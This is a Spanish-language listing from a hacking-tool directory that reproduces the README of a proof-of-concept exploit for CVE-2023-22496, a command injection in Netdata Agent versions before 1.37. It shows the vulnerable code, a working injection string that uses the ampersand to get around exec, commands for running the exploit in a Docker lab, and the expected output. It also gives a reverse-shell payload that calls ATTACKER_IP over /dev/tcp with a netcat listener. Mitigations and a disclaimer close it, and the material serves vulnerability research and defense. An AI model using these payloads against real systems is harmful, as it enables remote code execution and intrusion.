Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-22496-PoC — PoC para CVE-2023-22496: Inyección de comandos del sistema operativo en Netdata Agent <1.37 mediante registry_hostname | Kitploit
Herramientas/GitHubGitHub/jstjep00/cve-2023-22496-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebComando y ControlAprendizaje y EducaciónLabs y Práctica
GitHubjstjep00/cve-2023-22496-poc

CVE-2023-22496-PoC

PoC para CVE-2023-22496: Inyección de comandos del sistema operativo en Netdata Agent <1.37 mediante registry_hostname

Ver Repositorio
112hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-22496 — PoC de Inyección de Comandos del SO en Netdata Agent

Gravedad: Crítica (CVSS 9.8)
Afectado: Netdata Agent < 1.37.0
Corregido en: v1.37.0
Tipo: Inyección de Comandos del SO (CWE-78)


Resumen

CVE-2023-22496 es una vulnerabilidad de inyección de comandos del SO en el sistema de notificación de alarmas de salud de Netdata. El registry_hostname de cualquier nodo en una cadena de streaming se inserta en un comando de shell sin desinfección. Un atacante que pueda establecer registry hostname en un archivo de configuración de Netdata logra ejecución remota de código como el usuario del proceso netdata en cualquier nodo padre que procese la alarma.


Detalles de la vulnerabilidad

Código vulnerable — health/health.c

static inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
    ...
    char cmd[LEN + 1];
    snprintfz(cmd, LEN,
        "exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
        exec,                        // alarm-notify.sh
        recipient,                   // e.g. "root"
        host->registry_hostname,     // ← NO SANITISATION — attacker-controlled
        ae->name,
        ...
    );
    ae->exec_code = spawn_enq_cmd(cmd);   // run via /bin/sh
    ...
}

spawn_enq_cmd pasa la cadena a /bin/sh -c, que la evalúa como shell. Dado que registry_hostname nunca se desinfecta, un atacante puede inyectar comandos de shell arbitrarios.

Bypass: reemplazo de proceso exec

La inyección ingenua `'; cmd; '` no funciona porque el comando interno exec reemplaza el proceso actual del shell, por lo que el ;cmd; inyectado nunca se alcanza.

Bypass funcional — usar & (operador de segundo plano):

# What Netdata builds after injection:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...

# Execution flow:
#   exec alarm-notify.sh 'root' 'x' &   → runs in background; shell stays alive
#   touch /tmp/pwned &                   → shell evaluates this; file created
#   #                                    → rest is a comment; ignored

Cadena de ataque de streaming

┌──────────────┐  stream  ┌──────────────┐  stream  ┌──────────────────────┐
│  agent_child │ ───────▶ │ agent_middle │ ───────▶ │   agent_parent       │
│  (attacker)  │          │  (relay)     │          │   (victim / target)  │
└──────────────┘          └──────────────┘          └──────────────────────┘
                                                            │
                                              health_alarm_execute() fires
                                              with injected registry_hostname
                                              → RCE on agent_parent

El atacante solo necesita controlar cualquier nodo en la cadena de streaming. El registry_hostname se propaga en el protocolo de streaming y es usado textualmente por cada nodo padre cuando llama a health_alarm_execute.


Estructura del repositorio

CVE-2023-22496-PoC/
├── Dockerfile              # Builds netdata-vuln:v1.36.1 from source
├── docker-compose.yaml     # 3-node vulnerable streaming environment
├── exploit.py              # Standalone exploit script
├── config/
│   ├── parent_netdata.conf # Parent config (writable — exploit overwrites this)
│   ├── parent_stream.conf  # Parent accepts streams + evaluates health
│   ├── parent_guid         # Fixed node GUID
│   ├── middle_netdata.conf # Middle relay config
│   ├── middle_stream.conf
│   ├── middle_guid
│   ├── child_netdata.conf  # Child sender config
│   ├── child_stream.conf
│   └── child_guid
└── README.md

Inicio rápido

Prerrequisitos

  • Docker ≥ 20.10
  • Docker Compose v2 (docker compose)
  • Python 3.8+
  • ~500 MB de disco (compilación de imagen)
  • Acceso a Internet para la compilación de Docker (descarga la fuente de Netdata v1.36.1)

Paso 1 — Compilar la imagen Docker vulnerable

git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC

# Build takes ~5–15 min (compiles Netdata from source)
docker build -t netdata-vuln:v1.36.1 .

Paso 2 — Iniciar el entorno vulnerable de 3 nodos

docker compose up -d

Wait ~15 seconds for Netdata to initialise, then verify:

# Parent web UI should return HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# Expected: "version": "v1.36.1-..."

Paso 3 — Ejecutar el exploit

# Default: create /tmp/pwned on the target (agent_parent)
python3 exploit.py "touch /tmp/pwned"

# Verify
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned

Salida esperada:

======================================================================
  CVE-2023-22496 — Netdata registry_hostname Command Injection PoC
======================================================================
  Shell command : 'touch /tmp/pwned'
  Injected host : "x' & touch /tmp/pwned & #"

[*] Pre-flight: verifying Docker environment
  [*] All 3 containers are running.

[*] Step 1: Writing injected netdata.conf for agent_parent
    Written: config/parent_netdata.conf
    registry hostname = "x' & touch /tmp/pwned & #"

[*] Step 2: Restarting agent_parent to load injected config
    ...
    agent_parent is up and responding.

[*] Step 3: Waiting 65s for a disk_space WARNING alarm

[*] Step 4: Checking for command execution evidence

======================================================================
  ✅  SUCCESS — CVE-2023-22496 CONFIRMED
  '/tmp/pwned' exists on agent_parent
======================================================================

Ejemplo de shell inversa

# On your listener machine:
nc -lvnp 4444

# Run exploit (replace ATTACKER_IP):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Comando personalizado

python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)

Desmontaje

# Stop and remove containers + volumes
docker compose down -v

# Remove the image
docker rmi netdata-vuln:v1.36.1

Mitigación

AcciónDetalle
ActualizarActualizar Netdata Agent a ≥ v1.37.0
RestringirRestringir acceso de escritura a netdata.conf
RedAislar puertos de streaming (19999/tcp) solo a redes de confianza
Verificarnetdata --version — confirmar que no está en una versión anterior a 1.37

La corrección en v1.37.0 desinfecta registry_hostname rechazando cualquier carácter fuera de [a-zA-Z0-9._-] antes de insertarlo en el comando de shell.


Referencias

  • NVD — CVE-2023-22496
  • GitHub Security Advisory GHSA-qxg7-jvq3-7x6h
  • Netdata fix commit
  • Netdata v1.37.0 release

Descargo de responsabilidad

Este repositorio se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. Ejecutar este PoC contra sistemas que no posee o para los que no tiene permiso explícito por escrito para probar es ilegal. Los autores no asumen ninguna responsabilidad por el mal uso.

Descargar herramienta